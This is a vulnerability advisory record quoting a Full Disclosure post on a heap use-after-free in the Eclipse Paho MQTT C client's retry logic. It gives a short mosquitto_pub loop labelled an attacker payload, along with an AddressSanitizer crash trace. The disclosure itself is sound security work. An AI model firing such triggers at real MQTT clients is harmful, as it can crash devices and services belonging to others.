GCVE-1988-2026-0176
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nEclipse Paho MQTT C Client contains a heap use-after-free vulnerability in\nthe synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH\nmessages with retry semantics. When a user-supplied messageArrived()\ncallback frees the received message and returns 0 (indicating processing\nfailure and requesting retry), the library retains internal references to\nthe freed message and later reuses them during retry processing. This\nresults in a use-after-free inside the library, leading to a crash and\npotential arbitrary code execution depending on heap state. The\nvulnerability occurs because the library does not revalidate message\nownership or clone message data before reusing it on retry paths.\n\n*Impact:*\nAn unauthenticated remote attacker capable of publishing messages to the\nMQTT broker can trigger this vulnerability, resulting in:\n* Denial of Service (crash)\n* Potential Remote Code Execution, depending on heap layout and allocator\nbehavior\n\n*Affected Component:*\n\n - Library: Eclipse Paho MQTT C Client\n - Module: libpaho-mqtt3c (synchronous client)\n - File: src/MQTTClient.c\n - Function: MQTTClient_run() (retry processing path)\n\n*Attack Vector:*\n\n - Remote / Network\n - Triggered via MQTT PUBLISH packets\n - No authentication required in common broker configurations\n - No local access required\n\n*Server:*\n# mosquitto -p 1884 -v\n\u2014snip\u2014\n\n1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.\n1768860860: Client asan-client closed its connection.\n\n*Payload (attacker):*\n\n# for i in {1..50}; do mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q\n1 -m \"AAAA$i\"; done\n\n\n*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0\nexport UBSAN_OPTIONS=print_stacktrace=1\n\n./MQTTClient_ASAN\n[*] Creating client\n[*] Connecting\n[*] Subscribing\n[*] Waiting for message (publish now!)\n[!] messageArrived called\n[!] returning 0 (retry path)\n=================================================================\n==179019==ERROR: AddressSanitizer: heap-use-after-free on address\n0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60\nREAD of size 9 at 0xfc2fa47e1b78 thread T1\n #0 0xaaaac160cd94 in strlen\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b298d8 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:911:9\n #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8\n #4 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\n0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region\n[0xfc2fa47e1b70,0xfc2fa47e1b90)\nfreed by thread T1 here:\n #0 0xaaaac169928c in free\n(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4\n #2 0xffffa5aff74c in MQTTClient_free\n/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2\n #3 0xaaaac16dbf88 in messageArrived\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5\n #4 0xffffa5b29fc4 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:917:10\n #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #6 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\npreviously allocated by thread T1 here:\n #0 0xaaaac1699520 in malloc\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16\n #2 0xffffa5b504dc in readUTFlen\n/root/paho.mqtt.c/src/MQTTPacket.c:395:18\n #3 0xffffa5b4b460 in MQTTPacket_publish\n/root/paho.mqtt.c/src/MQTTPacket.c:570:21\n #4 0xffffa5b4d598 in MQTTPacket_Factory\n/root/paho.mqtt.c/src/MQTTPacket.c:150:16\n #5 0xffffa5b1e62c in MQTTClient_cycle\n/root/paho.mqtt.c/src/MQTTClient.c:2648:12\n #6 0xffffa5b284ac in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:866:10\n #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #8 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\nThread T1 created by T0 here:\n #0 0xaaaac167d5ac in pthread_create\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b92adc in Paho_thread_start\n/root/paho.mqtt.c/src/Thread.c:79:6\n #2 0xffffa5b244c0 in MQTTClient_connectURIVersion\n/root/paho.mqtt.c/src/MQTTClient.c:1239:3\n #3 0xffffa5b0efec in MQTTClient_connectURI\n/root/paho.mqtt.c/src/MQTTClient.c:1731:8\n #4 0xffffa5b0512c in MQTTClient_connectAll\n/root/paho.mqtt.c/src/MQTTClient.c:1888:8\n #5 0xffffa5b02ec0 in MQTTClient_connect\n/root/paho.mqtt.c/src/MQTTClient.c:1759:13\n #6 0xaaaac16dc1d8 in main\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5\n #7 0xffffa5762598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #9 0xaaaac15f542c in _start\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13"
},
{
"tags": [
"technical-description"
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"url": "https://seclists.org/fulldisclosure/2026/Sep/13"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/13"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0176",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13",
"automated": true,
"contentSha256": "7c39369d705198ae277a5070c4d46a28593d4c39e376b63ad98b72577202714f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/13",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:47:08Z"
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"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0176"
},
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